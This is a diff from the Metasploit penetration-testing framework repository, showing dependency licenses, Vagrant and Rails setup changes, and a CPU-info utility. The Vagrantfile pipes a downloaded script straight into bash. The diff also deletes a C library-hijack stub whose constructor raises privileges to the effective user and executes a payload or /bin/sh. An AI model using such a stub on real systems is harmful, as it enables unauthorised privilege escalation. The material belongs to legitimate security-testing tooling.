rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
rex-ole, 0.1.6, "New BSD"
|
||||
rex-powershell, 0.1.87, "New BSD"
|
||||
rex-random_identifier, 0.1.4, "New BSD"
|
||||
rex-powershell, 0.1.72, "New BSD"
|
||||
rex-random_identifier, 0.1.2, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.23, "New BSD"
|
||||
rex-sslscan, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.8, "New BSD"
|
||||
rex-sslscan, 0.1.4, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.26, "New BSD"
|
||||
rex-text, 0.2.17, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rexml, 3.2.4, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.9.0, MIT
|
||||
rspec-core, 3.9.2, MIT
|
||||
rspec-expectations, 3.9.2, MIT
|
||||
rspec-mocks, 3.9.1, MIT
|
||||
rspec-rails, 4.0.1, MIT
|
||||
robots, 0.10.1, MIT
|
||||
rspec, 3.6.0, MIT
|
||||
rspec-core, 3.6.0, MIT
|
||||
rspec-expectations, 3.6.0, MIT
|
||||
rspec-mocks, 3.6.0, MIT
|
||||
rspec-rails, 3.6.0, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.9.3, MIT
|
||||
rubocop, 0.85.0, MIT
|
||||
rubocop-ast, 0.0.3, MIT
|
||||
ruby-macho, 2.2.0, MIT
|
||||
ruby-prof, 1.4.1, "Simplified BSD"
|
||||
ruby-progressbar, 1.10.1, MIT
|
||||
rspec-support, 3.6.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby_smb, 1.1.0, "New BSD"
|
||||
ruby_smb, 0.0.18, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 2.3.0, "Simplified BSD"
|
||||
sawyer, 0.8.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.2, MIT
|
||||
sinatra, 1.4.8, MIT
|
||||
rubyzip, 1.2.1, "Simplified BSD"
|
||||
sawyer, 0.8.1, MIT
|
||||
signet, 0.7.3, "Apache 2.0"
|
||||
simplecov, 0.14.1, MIT
|
||||
simplecov-html, 0.10.1, MIT
|
||||
slop, 3.6.0, MIT
|
||||
sqlite3, 1.3.13, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.7.2, "GPLv2+, Ruby 1.8"
|
||||
thor, 1.0.1, MIT
|
||||
sshkey, 1.9.0, MIT
|
||||
thor, 0.19.4, MIT
|
||||
thread_safe, 0.3.6, "Apache 2.0"
|
||||
tilt, 2.0.10, MIT
|
||||
timecop, 0.9.1, MIT
|
||||
ttfunk, 1.6.2.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.7, MIT
|
||||
tzinfo-data, 1.2020.1, MIT
|
||||
unicode-display_width, 1.7.0, MIT
|
||||
warden, 1.2.7, MIT
|
||||
websocket-driver, 0.7.2, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.3, MIT
|
||||
tzinfo-data, 1.2017.2, MIT
|
||||
windows_error, 0.1.2, BSD
|
||||
xdr, 2.0.0, "Apache 2.0"
|
||||
xmlrpc, 0.3.0, ruby
|
||||
yard, 0.9.25, MIT
|
||||
yard, 0.9.9, MIT
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
[COPYING](COPYING) for more details.
|
||||
COPYING for more details.
|
||||
|
||||
The latest version of this software is available from: https://metasploit.com
|
||||
|
||||
|
||||
Vendored
+3
-2
@@ -3,7 +3,7 @@
|
||||
|
||||
Vagrant.configure(2) do |config|
|
||||
config.ssh.forward_x11 = true
|
||||
config.vm.box = "ubuntu/bionic64"
|
||||
config.vm.box = "ubuntu/xenial64"
|
||||
config.vm.network :forwarded_port, guest: 4444, host: 4444
|
||||
config.vm.provider "vmware" do |v|
|
||||
v.memory = 2048
|
||||
@@ -28,9 +28,10 @@ Vagrant.configure(2) do |config|
|
||||
config.vm.provision "shell", inline: step
|
||||
end
|
||||
|
||||
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB",
|
||||
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
|
||||
"curl -L https://get.rvm.io | bash -s stable",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
|
||||
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
|
||||
"mkdir -p ~/.msf4",
|
||||
].each do |step|
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
|
||||
require 'rails'
|
||||
require File.expand_path('../boot', __FILE__)
|
||||
|
||||
|
||||
+3
-8
@@ -9,8 +9,6 @@ GEMFILE_EXTENSIONS = [
|
||||
msfenv_real_pathname = Pathname.new(__FILE__).realpath
|
||||
root = msfenv_real_pathname.parent.parent
|
||||
|
||||
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
|
||||
|
||||
unless ENV['BUNDLE_GEMFILE']
|
||||
require 'pathname'
|
||||
|
||||
@@ -26,12 +24,9 @@ end
|
||||
|
||||
begin
|
||||
require 'bundler/setup'
|
||||
rescue LoadError => e
|
||||
$stderr.puts "[*] Bundler failed to load and returned this error:"
|
||||
$stderr.puts
|
||||
$stderr.puts " '#{e}'"
|
||||
$stderr.puts
|
||||
$stderr.puts "[*] You may need to uninstall or upgrade bundler"
|
||||
rescue LoadError
|
||||
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
|
||||
$stderr.puts " $ gem install bundler"
|
||||
exit(1)
|
||||
end
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@ development: &pgsql
|
||||
adapter: postgresql
|
||||
database: metasploit_framework_development
|
||||
username: postgres
|
||||
pool: 25
|
||||
pool: 5
|
||||
timeout: 5
|
||||
|
||||
# Warning: The database defined as "test" will be erased and
|
||||
|
||||
@@ -1,11 +0,0 @@
|
||||
# Remove bigdecimal warning - start
|
||||
# https://github.com/ruby/bigdecimal/pull/115
|
||||
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
|
||||
# TODO: remove when upgrading from rails 4.x
|
||||
require 'bigdecimal'
|
||||
|
||||
def BigDecimal.new(*args, **kwargs)
|
||||
return BigDecimal(*args) if kwargs.empty?
|
||||
BigDecimal(*args, **kwargs)
|
||||
end
|
||||
# Remove bigdecimal warning - end
|
||||
Executable
+11
@@ -0,0 +1,11 @@
|
||||
#!/bin/sh
|
||||
|
||||
gcc -o cpuinfo.ia32.bin cpuinfo.c -static -m32 -Wall && \
|
||||
strip cpuinfo.ia32.bin && \
|
||||
gcc -o cpuinfo.ia64.bin cpuinfo.c -static -m64 -Wall && \
|
||||
strip cpuinfo.ia64.bin && \
|
||||
i586-mingw32msvc-gcc -m32 -static -Wall -o cpuinfo.exe cpuinfo.c && \
|
||||
strip cpuinfo.exe
|
||||
|
||||
ls -la cpuinfo.ia32.bin cpuinfo.ia64.bin cpuinfo.exe
|
||||
|
||||
Executable
+64
@@ -0,0 +1,64 @@
|
||||
// This is a slightly modified copy of the METASM pe-ia32-cpuid.rb example
|
||||
|
||||
/*
|
||||
#!/usr/bin/env ruby
|
||||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
#
|
||||
# this sample shows the compilation of a slightly more complex program
|
||||
# it displays in a messagebox the result of CPUID
|
||||
#
|
||||
|
||||
*/
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static char *featureinfo[32] = {
|
||||
"fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce", "cx8",
|
||||
"apic", "unk10", "sep", "mtrr", "pge", "mca", "cmov", "pat",
|
||||
"pse36", "psn", "clfsh", "unk20", "ds", "acpi", "mmx",
|
||||
"fxsr", "sse", "sse2", "ss", "htt", "tm", "unk30", "pbe"
|
||||
}, *extendinfo[32] = {
|
||||
"sse3", "unk1", "unk2", "monitor", "ds-cpl", "unk5-vt", "unk6", "est",
|
||||
"tm2", "unk9", "cnxt-id", "unk12", "cmpxchg16b", "unk14", "unk15",
|
||||
"unk16", "unk17", "unk18", "unk19", "unk20", "unk21", "unk22", "unk23",
|
||||
"unk24", "unk25", "unk26", "unk27", "unk28", "unk29", "unk30", "unk31"
|
||||
};
|
||||
|
||||
#define cpuid(id) __asm__( "cpuid" : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) : "a"(id), "b"(0), "c"(0), "d"(0))
|
||||
#define b(val, base, end) ((val << (31-end)) >> (31-end+base))
|
||||
int main(void)
|
||||
{
|
||||
|
||||
unsigned long eax, ebx, ecx, edx;
|
||||
unsigned long i;
|
||||
|
||||
cpuid(0);
|
||||
fprintf(stdout, "VENDOR: %.4s%.4s%.4s\n", (char *)&ebx, (char *)&edx, (char *)&ecx);
|
||||
|
||||
cpuid(1);
|
||||
fprintf(stdout, "MODEL: family=%ld model=%ld stepping=%ld efamily=%ld emodel=%ld ",
|
||||
b(eax, 8, 11), b(eax, 4, 7), b(eax, 0, 3), b(eax, 20, 27), b(eax, 16, 19));
|
||||
fprintf(stdout, "brand=%ld cflush sz=%ld*8 nproc=%ld apicid=%ld\n",
|
||||
b(ebx, 0, 7), b(ebx, 8, 15), b(ebx, 16, 23), b(ebx, 24, 31));
|
||||
|
||||
fprintf(stdout, "FLAGS:");
|
||||
for (i=0 ; i<32 ; i++)
|
||||
if (edx & (1 << i))
|
||||
fprintf(stdout, " %s", featureinfo[i]);
|
||||
|
||||
for (i=0 ; i<32 ; i++)
|
||||
if (ecx & (1 << i))
|
||||
fprintf(stdout, " %s", extendinfo[i]);
|
||||
|
||||
fprintf(stdout, "\n");
|
||||
fflush(stdout);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,3643 +0,0 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdio.h>
|
||||
#include <dlfcn.h>
|
||||
void __cxa_finalize (void *d) {
|
||||
return;
|
||||
}
|
||||
void __attribute__((constructor)) init() {
|
||||
setresuid(geteuid(), geteuid(), geteuid());
|
||||
execl("#{payload_path}", (char *)NULL, (char *)NULL);
|
||||
execl("/bin/sh", (char *)NULL, (char *)NULL);
|
||||
}
|
||||
int applicationShellClassRec = 0;
|
||||
int applicationShellWidgetClass = 0;
|
||||
int colorConvertArgs = 0;
|
||||
int compositeWidgetClass = 0;
|
||||
int constraintClassRec = 0;
|
||||
int constraintWidgetClass = 0;
|
||||
int coreWidgetClass = 0;
|
||||
int dump_external = 0;
|
||||
int dump_fontlist = 0;
|
||||
int dump_fontlist_cache = 0;
|
||||
int dump_internal = 0;
|
||||
int FcPatternAddInteger = 0;
|
||||
int FcPatternAddString = 0;
|
||||
int FcPatternCreate = 0;
|
||||
int FcPatternDestroy = 0;
|
||||
int GetWidgetNavigPtrs = 0;
|
||||
int InitializeScrollBars = 0;
|
||||
int _ITM_deregisterTMCloneTable = 0;
|
||||
int _ITM_registerTMCloneTable = 0;
|
||||
int jpeg_calc_output_dimensions = 0;
|
||||
int jpeg_CreateDecompress = 0;
|
||||
int jpeg_destroy_decompress = 0;
|
||||
int jpeg_finish_decompress = 0;
|
||||
int jpeg_read_header = 0;
|
||||
int jpeg_read_scanlines = 0;
|
||||
int jpeg_start_decompress = 0;
|
||||
int jpeg_std_error = 0;
|
||||
int jpeg_stdio_src = 0;
|
||||
int load_jpeg = 0;
|
||||
int localeconv = 0;
|
||||
int __longjmp_chk = 0;
|
||||
int nl_langinfo = 0;
|
||||
int NumLockMask = 0;
|
||||
int objectClass = 0;
|
||||
int objectClassRec = 0;
|
||||
int overrideShellClassRec = 0;
|
||||
int png_create_info_struct = 0;
|
||||
int png_create_read_struct = 0;
|
||||
int png_destroy_read_struct = 0;
|
||||
int png_get_channels = 0;
|
||||
int png_get_gAMA = 0;
|
||||
int png_get_IHDR = 0;
|
||||
int png_get_rowbytes = 0;
|
||||
int png_get_valid = 0;
|
||||
int png_init_io = 0;
|
||||
int png_read_end = 0;
|
||||
int png_read_image = 0;
|
||||
int png_read_info = 0;
|
||||
int png_read_update_info = 0;
|
||||
int png_set_expand = 0;
|
||||
int png_set_gamma = 0;
|
||||
int png_set_gray_to_rgb = 0;
|
||||
int png_set_longjmp_fn = 0;
|
||||
int png_set_sig_bytes = 0;
|
||||
int png_set_strip_16 = 0;
|
||||
int png_sig_cmp = 0;
|
||||
int rectObjClass = 0;
|
||||
int rectObjClassRec = 0;
|
||||
int ScrollLockMask = 0;
|
||||
int SetMwmStuff = 0;
|
||||
int T = 0;
|
||||
int topLevelShellWidgetClass = 0;
|
||||
int transientShellClassRec = 0;
|
||||
int transientShellWidgetClass = 0;
|
||||
int V = 0;
|
||||
int vendorShellClassRec = 0;
|
||||
int vendorShellWidgetClass = 0;
|
||||
int W = 0;
|
||||
int __wctomb_chk = 0;
|
||||
int widgetClass = 0;
|
||||
int widgetClassRec = 0;
|
||||
int wmShellClassRec = 0;
|
||||
int wmShellWidgetClass = 0;
|
||||
int XAddExtension = 0;
|
||||
int XAllocColor = 0;
|
||||
int XAllocColorCells = 0;
|
||||
int XAllowEvents = 0;
|
||||
int XBell = 0;
|
||||
int XChangeActivePointerGrab = 0;
|
||||
int XChangeGC = 0;
|
||||
int XChangeProperty = 0;
|
||||
int XChangeWindowAttributes = 0;
|
||||
int XCheckIfEvent = 0;
|
||||
int XCheckMaskEvent = 0;
|
||||
int XClearArea = 0;
|
||||
int XClearWindow = 0;
|
||||
int XCloseDisplay = 0;
|
||||
int XCloseIM = 0;
|
||||
int XConfigureWindow = 0;
|
||||
int XConvertSelection = 0;
|
||||
int XCopyArea = 0;
|
||||
int XCopyPlane = 0;
|
||||
int XCreateBitmapFromData = 0;
|
||||
int XCreateFontCursor = 0;
|
||||
int XCreateGC = 0;
|
||||
int XCreateIC = 0;
|
||||
int XCreateImage = 0;
|
||||
int XCreatePixmap = 0;
|
||||
int XCreatePixmapCursor = 0;
|
||||
int XCreatePixmapFromBitmapData = 0;
|
||||
int XCreateRegion = 0;
|
||||
int XCreateWindow = 0;
|
||||
int XDefaultColormap = 0;
|
||||
int XDefaultDepth = 0;
|
||||
int XDefaultScreen = 0;
|
||||
int XDefaultVisual = 0;
|
||||
int XDefineCursor = 0;
|
||||
int XDeleteContext = 0;
|
||||
int XDeleteProperty = 0;
|
||||
int XDestroyIC = 0;
|
||||
int XDestroyRegion = 0;
|
||||
int XDestroyWindow = 0;
|
||||
int XDisplayKeycodes = 0;
|
||||
int XDisplayOfScreen = 0;
|
||||
int XDisplayString = 0;
|
||||
int XDrawArc = 0;
|
||||
int XDrawImageString = 0;
|
||||
int XDrawImageString16 = 0;
|
||||
int XDrawLine = 0;
|
||||
int XDrawLines = 0;
|
||||
int XDrawPoint = 0;
|
||||
int XDrawRectangle = 0;
|
||||
int XDrawSegments = 0;
|
||||
int XDrawString = 0;
|
||||
int XDrawString16 = 0;
|
||||
int _XEditResGet16 = 0;
|
||||
int _XEditResGet32 = 0;
|
||||
int _XEditResGet8 = 0;
|
||||
int _XEditResGetSigned16 = 0;
|
||||
int _XEditResGetString8 = 0;
|
||||
int _XEditResGetWidgetInfo = 0;
|
||||
int _XEditResPut16 = 0;
|
||||
int _XEditResPut32 = 0;
|
||||
int _XEditResPut8 = 0;
|
||||
int _XEditResPutString8 = 0;
|
||||
int _XEditResPutWidgetInfo = 0;
|
||||
int _XEditResResetStream = 0;
|
||||
int XEmptyRegion = 0;
|
||||
int XEqualRegion = 0;
|
||||
int XESetCloseDisplay = 0;
|
||||
int XExtentsOfFontSet = 0;
|
||||
int XFetchBuffer = 0;
|
||||
int XFillArc = 0;
|
||||
int XFillPolygon = 0;
|
||||
int XFillRectangle = 0;
|
||||
int XFillRectangles = 0;
|
||||
int XFindContext = 0;
|
||||
int XFlush = 0;
|
||||
int XFontsOfFontSet = 0;
|
||||
int XFree = 0;
|
||||
int XFreeColors = 0;
|
||||
int XFreeCursor = 0;
|
||||
int XFreeFont = 0;
|
||||
int XFreeFontNames = 0;
|
||||
int XFreeGC = 0;
|
||||
int XFreeModifiermap = 0;
|
||||
int XFreePixmap = 0;
|
||||
int XFreeStringList = 0;
|
||||
int XftDrawCreate = 0;
|
||||
int XftDrawCreateBitmap = 0;
|
||||
int XftDrawDestroy = 0;
|
||||
int XftDrawRect = 0;
|
||||
int XftDrawSetClip = 0;
|
||||
int XftDrawSetClipRectangles = 0;
|
||||
int XftDrawString16 = 0;
|
||||
int XftDrawString32 = 0;
|
||||
int XftDrawStringUtf8 = 0;
|
||||
int XftFontClose = 0;
|
||||
int XftFontMatch = 0;
|
||||
int XftFontOpenPattern = 0;
|
||||
int XftTextExtents16 = 0;
|
||||
int XftTextExtents32 = 0;
|
||||
int XftTextExtents8 = 0;
|
||||
int XftTextExtentsUtf8 = 0;
|
||||
int XGetAtomName = 0;
|
||||
int XGetFontProperty = 0;
|
||||
int XGetGCValues = 0;
|
||||
int XGetGeometry = 0;
|
||||
int XGetICValues = 0;
|
||||
int XGetImage = 0;
|
||||
int XGetIMValues = 0;
|
||||
int XGetInputFocus = 0;
|
||||
int XGetKeyboardMapping = 0;
|
||||
int XGetModifierMapping = 0;
|
||||
int XGetOCValues = 0;
|
||||
int XGetOMValues = 0;
|
||||
int XGetSelectionOwner = 0;
|
||||
int XGetWindowAttributes = 0;
|
||||
int XGetWindowProperty = 0;
|
||||
int XGetWMColormapWindows = 0;
|
||||
int XGrabKeyboard = 0;
|
||||
int XGrabPointer = 0;
|
||||
int XGrabServer = 0;
|
||||
int XHeightOfScreen = 0;
|
||||
int xiColumnConstraintExtension = 0;
|
||||
int XiCreateStippledPixmap = 0;
|
||||
int _XiGetTabIndex = 0;
|
||||
int XIMOfIC = 0;
|
||||
int XInstallColormap = 0;
|
||||
int XInternAtom = 0;
|
||||
int XInternAtoms = 0;
|
||||
int XIntersectRegion = 0;
|
||||
int XiReleaseStippledPixmap = 0;
|
||||
int _XiResolveAllPartOffsets = 0;
|
||||
int XiResolveAllPartOffsets = 0;
|
||||
int XKeysymToKeycode = 0;
|
||||
int XKeysymToString = 0;
|
||||
int XLastKnownRequestProcessed = 0;
|
||||
int XListFonts = 0;
|
||||
int XListInstalledColormaps = 0;
|
||||
int XLoadQueryFont = 0;
|
||||
int XLookupString = 0;
|
||||
int Xm18IListUnselectAllItems = 0;
|
||||
int Xm18IListUnselectItem = 0;
|
||||
int _XmAccessColorData = 0;
|
||||
int XmActivateProtocol = 0;
|
||||
int _XmAddCallback = 0;
|
||||
int _XmAddGrab = 0;
|
||||
int _XmAddHashEntry = 0;
|
||||
int XmAddProtocolCallback = 0;
|
||||
int XmAddProtocols = 0;
|
||||
int _Xm_AddQueue = 0;
|
||||
int XmAddTabGroup = 0;
|
||||
int _XmAddTearOffEventHandlers = 0;
|
||||
int _XmAddToColorCache = 0;
|
||||
int XmAddToPostFromList = 0;
|
||||
int _XmAllocHashTable = 0;
|
||||
int _XmAllocMotifAtom = 0;
|
||||
int _XmAllocReceiverInfo = 0;
|
||||
int _XmAllocScratchPixmap = 0;
|
||||
int _XmAllowAcceleratedInsensitiveUnmanagedMenuItems = 0;
|
||||
int XMapRaised = 0;
|
||||
int XMapWindow = 0;
|
||||
int _XmArrowB_defaultTranslations = 0;
|
||||
int xmArrowButtonClassRec = 0;
|
||||
int xmArrowButtonGadgetClass = 0;
|
||||
int xmArrowButtonGadgetClassRec = 0;
|
||||
int xmArrowButtonWidgetClass = 0;
|
||||
int _XmArrowPixmapCacheCompare = 0;
|
||||
int _XmArrowPixmapCacheDelete = 0;
|
||||
int _XmAssignInsensitiveColor = 0;
|
||||
int _XmAssignLabG_MarginBottom = 0;
|
||||
int _XmAssignLabG_MarginHeight = 0;
|
||||
int _XmAssignLabG_MarginLeft = 0;
|
||||
int _XmAssignLabG_MarginRight = 0;
|
||||
int _XmAssignLabG_MarginTop = 0;
|
||||
int _XmAssignLabG_MarginWidth = 0;
|
||||
int XMaxRequestSize = 0;
|
||||
int _XmBackgroundColorDefault = 0;
|
||||
int _XmBaseClassPartInitialize = 0;
|
||||
int _XmBB_CreateButtonG = 0;
|
||||
int _XmBB_CreateLabelG = 0;
|
||||
int _XmBB_GetDialogTitle = 0;
|
||||
int _XmBBUpdateDynDefaultButton = 0;
|
||||
int XmbDrawImageString = 0;
|
||||
int XmbDrawString = 0;
|
||||
int _XmBlackPixel = 0;
|
||||
int XmbLookupString = 0;
|
||||
int _XmBottomShadowColorDefault = 0;
|
||||
int XmbResetIC = 0;
|
||||
int XmbTextEscapement = 0;
|
||||
int XmbTextExtents = 0;
|
||||
int XmbTextListToTextProperty = 0;
|
||||
int XmbTextPropertyToTextList = 0;
|
||||
int _XmBuildExtResources = 0;
|
||||
int _XmBuildGadgetResources = 0;
|
||||
int _XmBuildManagerResources = 0;
|
||||
int _XmBuildPrimitiveResources = 0;
|
||||
int _XmBuildResources = 0;
|
||||
int _XmBulletinB_defaultTranslations = 0;
|
||||
int _XmBulletinBoardCancel = 0;
|
||||
int xmBulletinBoardClassRec = 0;
|
||||
int _XmBulletinBoardFocusMoved = 0;
|
||||
int _XmBulletinBoardMap = 0;
|
||||
int _XmBulletinBoardReturn = 0;
|
||||
int _XmBulletinBoardSetDefaultShadow = 0;
|
||||
int _XmBulletinBoardSetDynDefaultButton = 0;
|
||||
int _XmBulletinBoardSizeUpdate = 0;
|
||||
int xmBulletinBoardWidgetClass = 0;
|
||||
int xmButtonBoxClassRec = 0;
|
||||
int xmButtonBoxWidgetClass = 0;
|
||||
int _XmButtonPopdownChildren = 0;
|
||||
int _XmButtonTakeFocus = 0;
|
||||
int _XmByteOrderChar = 0;
|
||||
int _XmCacheCopy = 0;
|
||||
int _XmCacheDelete = 0;
|
||||
int _XmCachePart = 0;
|
||||
int _XmCachePixmap = 0;
|
||||
int _XmCalcLabelDimensions = 0;
|
||||
int _XmCalcLabelGDimensions = 0;
|
||||
int _XmCallCallbackList = 0;
|
||||
int _XmCallFocusMoved = 0;
|
||||
int _XmCallRowColumnMapCallback = 0;
|
||||
int _XmCallRowColumnUnmapCallback = 0;
|
||||
int _XmCascadeB_menubar_events = 0;
|
||||
int _XmCascadeB_p_events = 0;
|
||||
int _XmCascadeBPrimClassExtRec = 0;
|
||||
int xmCascadeButtonClassRec = 0;
|
||||
int xmCascadeButtonGadgetClass = 0;
|
||||
int xmCascadeButtonGadgetClassRec = 0;
|
||||
int XmCascadeButtonGadgetHighlight = 0;
|
||||
int xmCascadeButtonGCacheObjClassRec = 0;
|
||||
int XmCascadeButtonHighlight = 0;
|
||||
int xmCascadeButtonWidgetClass = 0;
|
||||
int _XmCascadingPopup = 0;
|
||||
int _XmCBHelp = 0;
|
||||
int _XmCBNameActivate = 0;
|
||||
int _XmCBNameValueChanged = 0;
|
||||
int XmChangeColor = 0;
|
||||
int _XmChangeHSB = 0;
|
||||
int _XmChangeNavigationType = 0;
|
||||
int _XmChangeVSB = 0;
|
||||
int _XmCharsetCanonicalize = 0;
|
||||
int _XmCleanPixmapCache = 0;
|
||||
int _XmClearBCompatibility = 0;
|
||||
int _XmClearBGCompatibility = 0;
|
||||
int _XmClearBGPixmapName = 0;
|
||||
int _XmClearBorder = 0;
|
||||
int _XmClearDisplayTables = 0;
|
||||
int _XmClearDragReceiverInfo = 0;
|
||||
int _XmClearFocusPath = 0;
|
||||
int _XmClearIconPixmapName = 0;
|
||||
int _XmClearKbdFocus = 0;
|
||||
int _XmClearRect = 0;
|
||||
int _XmClearShadowType = 0;
|
||||
int _XmClearTabGroup = 0;
|
||||
int _XmClearTraversal = 0;
|
||||
int XmClipboardBeginCopy = 0;
|
||||
int XmClipboardCancelCopy = 0;
|
||||
int XmClipboardCopy = 0;
|
||||
int XmClipboardCopyByName = 0;
|
||||
int XmClipboardEndCopy = 0;
|
||||
int XmClipboardEndRetrieve = 0;
|
||||
int XmClipboardInquireCount = 0;
|
||||
int XmClipboardInquireFormat = 0;
|
||||
int XmClipboardInquireLength = 0;
|
||||
int XmClipboardInquirePendingItems = 0;
|
||||
int XmClipboardLock = 0;
|
||||
int _XmClipboardPassType = 0;
|
||||
int XmClipboardRegisterFormat = 0;
|
||||
int XmClipboardRetrieve = 0;
|
||||
int XmClipboardStartCopy = 0;
|
||||
int XmClipboardStartRetrieve = 0;
|
||||
int XmClipboardUndoCopy = 0;
|
||||
int XmClipboardUnlock = 0;
|
||||
int XmClipboardWithdrawFormat = 0;
|
||||
int xmClipWindowClassRec = 0;
|
||||
int _XmClipWindowTranslationTable = 0;
|
||||
int xmClipWindowWidgetClass = 0;
|
||||
int _XmColorObjCache = 0;
|
||||
int _XmColorObjCacheDisplay = 0;
|
||||
int xmColorObjClass = 0;
|
||||
int xmColorObjClassRec = 0;
|
||||
int _XmColorObjCreate = 0;
|
||||
int xmColorSelectorClassRec = 0;
|
||||
int xmColorSelectorWidgetClass = 0;
|
||||
int xmColumnClassRec = 0;
|
||||
int xmColumnWidgetClass = 0;
|
||||
int xmCombinationBox2ClassRec = 0;
|
||||
int XmCombinationBox2GetArrow = 0;
|
||||
int XmCombinationBox2GetChild = 0;
|
||||
int XmCombinationBox2GetLabel = 0;
|
||||
int XmCombinationBox2GetList = 0;
|
||||
int XmCombinationBox2GetText = 0;
|
||||
int XmCombinationBox2GetValue = 0;
|
||||
int xmCombinationBox2WidgetClass = 0;
|
||||
int XmCombinationBoxGetValue = 0;
|
||||
int XmComboBoxAddItem = 0;
|
||||
int xmComboBoxClassRec = 0;
|
||||
int _XmComboBox_defaultAccelerators = 0;
|
||||
int _XmComboBox_defaultTranslations = 0;
|
||||
int XmComboBoxDeletePos = 0;
|
||||
int _XmComboBox_dropDownComboBoxAccelerators = 0;
|
||||
int _XmComboBox_dropDownListTranslations = 0;
|
||||
int XmComboBoxSelectItem = 0;
|
||||
int XmComboBoxSetItem = 0;
|
||||
int _XmComboBox_textFocusTranslations = 0;
|
||||
int XmComboBoxUpdate = 0;
|
||||
int xmComboBoxWidgetClass = 0;
|
||||
int XmCommandAppendValue = 0;
|
||||
int xmCommandClassRec = 0;
|
||||
int XmCommandError = 0;
|
||||
int XmCommandGetChild = 0;
|
||||
int _XmCommandReturn = 0;
|
||||
int XmCommandSetValue = 0;
|
||||
int _XmCommandUpOrDown = 0;
|
||||
int xmCommandWidgetClass = 0;
|
||||
int XmCompareISOLatin1 = 0;
|
||||
int XmCompareXtWidgetGeometry = 0;
|
||||
int XmCompareXtWidgetGeometryToWidget = 0;
|
||||
int _XmComputeVisibilityRect = 0;
|
||||
int _XmConfigureObject = 0;
|
||||
int _XmConfigureWidget = 0;
|
||||
int xmContainerClassRec = 0;
|
||||
int XmContainerCopy = 0;
|
||||
int XmContainerCopyLink = 0;
|
||||
int XmContainerCut = 0;
|
||||
int _XmContainer_defaultTranslations = 0;
|
||||
int XmContainerGetItemChildren = 0;
|
||||
int XmContainerPaste = 0;
|
||||
int XmContainerPasteLink = 0;
|
||||
int XmContainerRelayout = 0;
|
||||
int XmContainerReorder = 0;
|
||||
int _XmContainer_traversalTranslations = 0;
|
||||
int xmContainerWidgetClass = 0;
|
||||
int _XmConvertActionParamToRepTypeId = 0;
|
||||
int _XmConvertComplete = 0;
|
||||
int _XmConvertCSToString = 0;
|
||||
int _XmConvertFactor = 0;
|
||||
int _XmConvertFloatUnitsToIntUnits = 0;
|
||||
int _XmConvertHandler = 0;
|
||||
int _XmConvertHandlerSetLocal = 0;
|
||||
int _XmConvertStringToUnits = 0;
|
||||
int XmConvertStringToUnits = 0;
|
||||
int _XmConvertToBW = 0;
|
||||
int _XmConvertUnits = 0;
|
||||
int XmConvertUnits = 0;
|
||||
int _XmCopyCursorIconQuark = 0;
|
||||
int XmCopyISOLatin1Lowered = 0;
|
||||
int _XmCountVaList = 0;
|
||||
int XmCreateArrowButton = 0;
|
||||
int XmCreateArrowButtonGadget = 0;
|
||||
int _XmCreateArrowPixmaps = 0;
|
||||
int XmCreateBulletinBoard = 0;
|
||||
int XmCreateBulletinBoardDialog = 0;
|
||||
int XmCreateButtonBox = 0;
|
||||
int XmCreateCascadeButton = 0;
|
||||
int XmCreateCascadeButtonGadget = 0;
|
||||
